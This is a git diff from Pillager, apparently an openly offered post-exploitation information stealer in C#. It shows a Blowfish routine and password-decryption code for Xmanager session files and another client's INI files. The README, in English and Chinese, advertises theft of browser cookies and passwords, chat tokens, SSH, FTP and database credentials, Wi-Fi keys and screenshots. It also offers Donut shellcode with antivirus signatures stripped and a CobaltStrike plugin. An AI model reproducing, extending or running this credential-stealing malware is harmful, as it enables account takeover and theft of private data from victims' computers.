0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115,
|
||||
0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E,
|
||||
0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B,
|
||||
0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C,
|
||||
0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE,
|
||||
0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61,
|
||||
0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C,
|
||||
0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169,
|
||||
0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62,
|
||||
0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC,
|
||||
0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0
|
||||
},
|
||||
|
||||
{
|
||||
0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4,
|
||||
0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22,
|
||||
0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59,
|
||||
0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C,
|
||||
0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD,
|
||||
0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F,
|
||||
0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166,
|
||||
0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47,
|
||||
0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048,
|
||||
0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7,
|
||||
0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525,
|
||||
0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E,
|
||||
0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299,
|
||||
0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A,
|
||||
0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060,
|
||||
0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6
|
||||
}
|
||||
};
|
||||
|
||||
private UInt32[] SubKey;
|
||||
private UInt32[,] SBox;
|
||||
|
||||
private UInt32 _F_Transform(UInt32 x)
|
||||
{
|
||||
byte[] x_bytes = BitConverter.GetBytes(x);
|
||||
if (BitConverter.IsLittleEndian == false)
|
||||
Array.Reverse(x_bytes);
|
||||
return ((SBox[0, x_bytes[3]] + SBox[1, x_bytes[2]]) ^ SBox[2, x_bytes[1]]) + SBox[3, x_bytes[0]];
|
||||
}
|
||||
|
||||
public void Encrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] L_bytes = new byte[4];
|
||||
byte[] R_bytes = new byte[4];
|
||||
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
|
||||
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
UInt32 L = BitConverter.ToUInt32(L_bytes, 0);
|
||||
UInt32 R = BitConverter.ToUInt32(R_bytes, 0);
|
||||
|
||||
L ^= SubKey[0];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[1];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[2];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[3];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[4];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[5];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[6];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[7];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[8];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[9];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[10];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[11];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[12];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[13];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[14];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[15];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[16];
|
||||
R ^= SubKey[17];
|
||||
|
||||
L_bytes = BitConverter.GetBytes(R);
|
||||
R_bytes = BitConverter.GetBytes(L);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
|
||||
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public void Decrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] L_bytes = new byte[4];
|
||||
byte[] R_bytes = new byte[4];
|
||||
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
|
||||
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
UInt32 L = BitConverter.ToUInt32(R_bytes, 0);
|
||||
UInt32 R = BitConverter.ToUInt32(L_bytes, 0);
|
||||
|
||||
L ^= SubKey[16];
|
||||
R ^= SubKey[17];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[15];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[14];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[13];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[12];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[11];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[10];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[9];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[8];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[7];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[6];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[5];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[4];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[3];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[2];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[1];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[0];
|
||||
|
||||
L_bytes = BitConverter.GetBytes(L);
|
||||
R_bytes = BitConverter.GetBytes(R);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
|
||||
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public Blowfish(byte[] UserKey)
|
||||
{
|
||||
if (UserKey.Length < MinUserKeyLength)
|
||||
throw new ArgumentException("UserKey is too short.");
|
||||
else if (UserKey.Length > 56)
|
||||
throw new ArgumentException("UserKey is too long.");
|
||||
|
||||
|
||||
SubKey = OriginPBox.Clone() as UInt32[];
|
||||
SBox = OriginSBox.Clone() as UInt32[,];
|
||||
|
||||
for (int i = 0; i < 18; ++i)
|
||||
{
|
||||
UInt32 temp = 0;
|
||||
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 1) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 2) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 3) % UserKey.Length];
|
||||
|
||||
SubKey[i] ^= temp;
|
||||
}
|
||||
|
||||
byte[] _temp = new byte[8];
|
||||
for (int i = 0; i < 9; ++i)
|
||||
{
|
||||
Encrypt(_temp, Endian.Little);
|
||||
Buffer.BlockCopy(_temp, 0, SubKey, sizeof(UInt32) * 2 * i, 8);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 4; ++i)
|
||||
{
|
||||
for (int j = 0; j < 128; ++j)
|
||||
{
|
||||
Encrypt(_temp, Endian.Little);
|
||||
Buffer.BlockCopy(_temp, 0, SBox, 256 * sizeof(UInt32) * i + sizeof(UInt64) * j, sizeof(UInt64));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,8 +1,6 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
|
|
|
@ -1,11 +1,10 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
|
@ -48,7 +47,6 @@ namespace Pillager.Tools
|
|||
foreach (var item in sectionMap)
|
||||
{
|
||||
List<IniLine> iniLines = item.Value;
|
||||
string password = "";
|
||||
bool encrypted = false;
|
||||
string encryptedpassword = "";
|
||||
foreach (var line in iniLines)
|
||||
|
@ -58,7 +56,7 @@ namespace Pillager.Tools
|
|||
if (line.key == "Isencrypted") encrypted = (line.value == "1");
|
||||
}
|
||||
if (string.IsNullOrEmpty(encryptedpassword)) continue;
|
||||
password = encrypted ? NewDecrypt(encryptedpassword) : OldDecrypt(encryptedpassword);
|
||||
string password = encrypted ? NewDecrypt(encryptedpassword) : OldDecrypt(encryptedpassword);
|
||||
p.Set("Password", item.Key, password);
|
||||
}
|
||||
return p.ToString();
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
using Pillager.Helper;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
@ -7,6 +6,7 @@ using System.Security.Cryptography;
|
|||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Pillager.Helper;
|
||||
|
||||
namespace Pillager.Tools
|
||||
{
|
||||
|
@ -33,7 +33,6 @@ namespace Pillager.Tools
|
|||
{
|
||||
if (file.Contains(".xsh")|| file.Contains(".xfp")) sessionFiles.Add(file);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
public static string DecryptSessions()
|
||||
|
@ -47,18 +46,15 @@ namespace Pillager.Tools
|
|||
{
|
||||
List<string> configs = ReadConfigFile(sessionFile);
|
||||
if (configs.Count < 4) continue;
|
||||
else
|
||||
{
|
||||
sb.AppendLine("Session File: " + sessionFile);
|
||||
sb.Append("Version: " + configs[0]);
|
||||
sb.Append("Host: " + configs[1]);
|
||||
sb.Append("UserName: " + configs[2]);
|
||||
sb.Append("rawPass: " + configs[3]);
|
||||
sb.AppendLine("UserName: " + userName);
|
||||
sb.AppendLine("Sid: " + sid);
|
||||
sb.AppendLine(Decrypt(userName, sid, configs[3], configs[0].Replace("\r", "").ToString()));
|
||||
sb.AppendLine();
|
||||
}
|
||||
sb.AppendLine("Session File: " + sessionFile);
|
||||
sb.Append("Version: " + configs[0]);
|
||||
sb.Append("Host: " + configs[1]);
|
||||
sb.Append("UserName: " + configs[2]);
|
||||
sb.Append("rawPass: " + configs[3]);
|
||||
sb.AppendLine("UserName: " + userName);
|
||||
sb.AppendLine("Sid: " + sid);
|
||||
sb.AppendLine(Decrypt(userName, sid, configs[3], configs[0].Replace("\r", "")));
|
||||
sb.AppendLine();
|
||||
}
|
||||
|
||||
return sb.ToString();
|
||||
|
@ -110,7 +106,8 @@ namespace Pillager.Tools
|
|||
|
||||
return("Decrypt rawPass: " + Encoding.ASCII.GetString(decrypted));
|
||||
}
|
||||
else if (ver.StartsWith("5.1") || ver.StartsWith("5.2"))
|
||||
|
||||
if (ver.StartsWith("5.1") || ver.StartsWith("5.2"))
|
||||
{
|
||||
byte[] data = Convert.FromBase64String(rawPass);
|
||||
|
||||
|
@ -123,7 +120,8 @@ namespace Pillager.Tools
|
|||
|
||||
return ("Decrypt rawPass: " + Encoding.ASCII.GetString(decrypted));
|
||||
}
|
||||
else if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0"))
|
||||
|
||||
if (ver.StartsWith("5") || ver.StartsWith("6") || ver.StartsWith("7.0"))
|
||||
{
|
||||
byte[] data = Convert.FromBase64String(rawPass);
|
||||
|
||||
|
@ -136,7 +134,8 @@ namespace Pillager.Tools
|
|||
|
||||
return ("Decrypt rawPass: " + Encoding.ASCII.GetString(decrypted));
|
||||
}
|
||||
else if (ver.StartsWith("7"))
|
||||
|
||||
if (ver.StartsWith("7"))
|
||||
{
|
||||
string strkey1 = new string(username.ToCharArray().Reverse().ToArray()) + sid;
|
||||
string strkey2 = new string(strkey1.ToCharArray().Reverse().ToArray());
|
||||
|
|
105
README.md
105
README.md
|
@ -8,13 +8,17 @@
|
|||
|
||||
<img src=".\Pillager.png"/>
|
||||
|
||||
## 介绍
|
||||
[中文说明](./README_ZH.md)
|
||||
|
||||
Pillager是一个适用于后渗透期间的信息收集工具,可以收集目标机器上敏感信息,方便下一步渗透工作的进行。
|
||||
## Introduction
|
||||
|
||||
## 支持
|
||||
Pillager is a tool for exporting and decrypting useful data from target computer.
|
||||
|
||||
| Browser | BookMarks | Cookies | Passwords | Historys | Local Storage | Extension Settings |
|
||||
## Support
|
||||
|
||||
#### Browser
|
||||
|
||||
| Browser Name | BookMarks | Cookies | Passwords | Historys | Local Storage | Extension Settings |
|
||||
| :------------ | :-------: | :-----: | :-------: | :------: | :-----------: | :----------------: |
|
||||
| IE | ✅ | ❌ | ✅ | ✅ | ❌ | ❌ |
|
||||
| Edge | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
|
@ -40,64 +44,61 @@ Pillager是一个适用于后渗透期间的信息收集工具,可以收集目
|
|||
| Yandex | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| FireFox | ✅ | ✅ | ✅ | ✅ | ❌ | ✅ |
|
||||
|
||||
注:✅表示经过测试,🚧表示理论上支持但未经测试,❌表示无此功能或不支持
|
||||
✅ Support,🚧 Haven't Tested,❌ Not Support
|
||||
|
||||
| IM | Support |
|
||||
| :------: | :---------------: |
|
||||
| QQ | QQ Number |
|
||||
| Telegram | tdata |
|
||||
| Skype | Token |
|
||||
| Enigma | DeviceID/Datebase |
|
||||
| DingTalk | Storage |
|
||||
#### Software
|
||||
|
||||
| Tool | Support |
|
||||
| :--------: | :------: |
|
||||
| MobaXterm | Password |
|
||||
| Xmanager | Password |
|
||||
| RDCMan | Password |
|
||||
| FinalShell | Password |
|
||||
| Navicat | Password |
|
||||
| SQLyog | Password |
|
||||
* Acount Takeover
|
||||
* Telegram
|
||||
* Skype
|
||||
* Enigma
|
||||
* DingTalk
|
||||
* Line
|
||||
* Discord
|
||||
* MailMaster
|
||||
* Foxmail
|
||||
* FileZilla
|
||||
* Password Recovery
|
||||
* MobaXterm
|
||||
* Xmanager
|
||||
* RDCMan
|
||||
* FinalShell
|
||||
* Navicat
|
||||
* SQLyog
|
||||
* Outlook
|
||||
* MailBird
|
||||
* WinSCP
|
||||
* DBeaver
|
||||
* CoreFTP
|
||||
* Snowflake
|
||||
* Personal Infomation
|
||||
* QQ
|
||||
* VSCode
|
||||
* Netease CloudMusic
|
||||
|
||||
| Software | Support |
|
||||
| :----------------: | :-----------: |
|
||||
| VSCode | History Files |
|
||||
| Netease CloudMusic | UserInfo |
|
||||
Will add more ......
|
||||
|
||||
| Mail | Support |
|
||||
| :--------: | :------: |
|
||||
| MailMaster | DataFile |
|
||||
| Foxmail | Storage |
|
||||
#### System
|
||||
|
||||
| FTP | Support |
|
||||
| :-------: | :------: |
|
||||
| FileZilla | Config |
|
||||
| WinSCP | Password |
|
||||
* Wifi
|
||||
* ScreenShot
|
||||
|
||||
| Others | Support |
|
||||
| :----: | :------: |
|
||||
| Wifi | Password |
|
||||
## Usage
|
||||
|
||||
后续将会陆续添加支持的软件
|
||||
This project uses Github Action to auto build and upload the [Release](https://github.com/qwqdanchun/Pillager/releases)
|
||||
|
||||
## 使用方法
|
||||
* [Pillager.exe](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.exe) is exe for .Net Framework v3.5
|
||||
* [Pillager.bin](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.bin) is shellcode built with Donut
|
||||
* [cs-plugin.zip](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/cs-plugin.zip) is plugin for CobaltStrike
|
||||
|
||||
此项目使用Github Action自动编译打包,并上传至[Release](https://github.com/qwqdanchun/Pillager/releases),其中
|
||||
Pillager.exe is just for testing. It will be detect as malware by most Anti-Virus softwares.
|
||||
|
||||
* [Pillager.exe](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.exe) 为.Net Framework v3.5编译生成的exe
|
||||
* [Pillager.bin](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/Pillager.bin) Donut打包的raw格式的shellcode
|
||||
* [cs-plugin.zip](https://github.com/qwqdanchun/Pillager/releases/download/AutoBuild/cs-plugin.zip) 为适用于CobaltStrike使用的插件
|
||||
Run the shellcode in your way, and find the result at `%Temp%\Pillager.zip`.
|
||||
|
||||
使用CobaltStrike可以直接下载插件包,其他人推荐将shellcode集成至自己的加载器或工具中运行,不建议直接使用Pillager.exe
|
||||
## Feature
|
||||
|
||||
执行后会将文件打包至 `%Temp%\Pillager.tar.gz`,需要自行前往目录下载文件或修改代码将文件上传至他处
|
||||
|
||||
## 优点
|
||||
|
||||
* 体积在100kb左右,为同类工具体积的几分之一甚至几十分之一
|
||||
* 支持大部分常见浏览器,常见聊天软件的信息提取,将陆续添加其他常用工具的信息收集
|
||||
* 长期维护,有问题可以及时的反馈处理
|
||||
* 使用魔改版本的Donut,缩小shellcode体积,使shellcode兼容.Net Framework v3.5/v4.x,并去除AV/EDR对Donut提取的特征
|
||||
* Shellcode file size is less than 100kb
|
||||
* Using self version of Donut,shellcode is suitable for both .Net Framework v3.5/v4.x
|
||||
|
||||
## Contributors
|
||||
|
||||
|
@ -105,8 +106,8 @@ Pillager是一个适用于后渗透期间的信息收集工具,可以收集目
|
|||
<img src="https://contrib.rocks/image?repo=qwqdanchun/Pillager" />
|
||||
</a>
|
||||
|
||||
## 404星链计划
|
||||
## 404 StarLink Project
|
||||
|
||||
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
|
||||
|
||||
Pillager 现已加入 [404星链计划](https://github.com/knownsec/404StarLink)
|
||||
Pillager has joined [404星链计划](https://github.com/knownsec/404StarLink)
|
||||
|
|
|
@ -0,0 +1,113 @@
|
|||
# Pillager
|
||||
|
||||
[![License](https://img.shields.io/github/license/qwqdanchun/Pillager.svg)](LICENSE)
|
||||
![GitHub last commit](https://img.shields.io/github/last-commit/qwqdanchun/Pillager)
|
||||
![GitHub release (latest by date)](https://img.shields.io/github/v/release/qwqdanchun/Pillager)
|
||||
[![Downloads](https://img.shields.io/github/downloads/qwqdanchun/Pillager/total.svg)](https://github.com/qwqdanchun/Pillager/releases)
|
||||
![Issues](https://img.shields.io/github/issues/qwqdanchun/Pillager)
|
||||
|
||||
<img src=".\Pillager.png"/>
|
||||
|
||||
## 介绍
|
||||
|
||||
Pillager是一个适用于后渗透期间的信息收集工具,可以收集目标机器上敏感信息,方便下一步渗透工作的进行。
|
||||
|
||||
## 支持
|
||||
|
||||
#### 浏览器
|
||||
|
||||
| 名称 | 书签 | Cookies | 密码 | 历史记录 | Local Storage | Extension Settings |
|
||||
| :------------ | :--: | :-----: | :--: | :------: | :-----------: | :----------------: |
|
||||
| IE | ✅ | ❌ | ✅ | ✅ | ❌ | ❌ |
|
||||
| Edge | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Chrome | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Chrome Beta | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Chrome SxS | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Chromium | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| Brave-Browser | ✅ | ✅ | ✅ | ✅ | 🚧 | 🚧 |
|
||||
| QQBrowser | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ |
|
||||
| SogouExplorer | ✅ | ✅ | ✅ | ✅ | 🚧 | 🚧 |
|
||||
| 360Chrome | ❌ | ✅ | ✅ | ❌ | ✅ | ✅ |
|
||||
| 360ChromeX | ❌ | ✅ | ✅ | ❌ | ✅ | ✅ |
|
||||
| Vivaldi | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| CocCoc | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Torch | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Kometa | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Orbitum | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| CentBrowser | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| 7Star | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Sputnik | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Epic Privacy | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Uran | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| Yandex | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 | 🚧 |
|
||||
| FireFox | ✅ | ✅ | ✅ | ✅ | ❌ | ✅ |
|
||||
|
||||
注:✅表示经过测试,🚧表示理论上支持但未经测试,❌表示无此功能或不支持
|
||||
|
||||
#### 软件
|
||||
|
||||
* 账户接管
|
||||
* Telegram
|
||||
* Skype
|
||||
* Enigma
|
||||
* 钉钉
|
||||
* Line
|
||||
* Discord
